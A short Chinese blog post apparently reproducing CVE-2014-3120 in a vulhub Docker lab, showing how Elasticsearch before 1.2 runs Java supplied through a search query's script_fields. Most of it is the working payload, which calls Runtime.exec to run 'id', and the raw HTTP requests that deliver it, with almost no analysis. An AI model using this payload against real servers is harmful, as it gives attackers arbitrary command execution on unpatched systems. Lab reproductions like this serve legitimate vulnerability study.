vulhub

CVE-2014-3120

2019-08-12  本文已影响6人  3mi1e

ElasticSearch 命令执行漏洞(CVE-2014-3120)

1.漏洞影响版本

Elasticsearch < 1.2

2.漏洞危害

命令执行

3.漏洞POC
cd /root/vulhub/elasticsearch/CVE-2014-3120                   //进入本次复现的漏洞目录
docker-compose up -d                                          //docker-compose搭建环境

将Java代码放入json中:

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
  }

然后,执行任意代码:

POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "phithon"
}
插入JSON数据
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}
执行命令
4.复盘

漏洞出现原因
参考URL:云栖社区
总结
JSON命令执行

上一篇下一篇

猜你喜欢

热点阅读